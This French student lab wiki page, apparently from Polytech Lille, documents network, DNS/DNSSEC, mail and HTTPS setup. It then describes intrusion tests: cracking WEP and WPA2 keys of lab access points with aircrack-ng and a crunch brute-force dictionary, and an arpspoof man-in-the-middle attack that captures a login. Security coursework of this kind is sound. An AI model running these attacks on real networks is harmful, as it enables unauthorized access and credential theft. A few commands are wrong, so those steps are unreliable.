post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA<br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
<br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
<br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54023TP sysres IMA2a5 2020/2021 G52020-11-27T19:34:47Z<p>Aglaine : /* Introduction */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
=== Architecture réseau ===<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
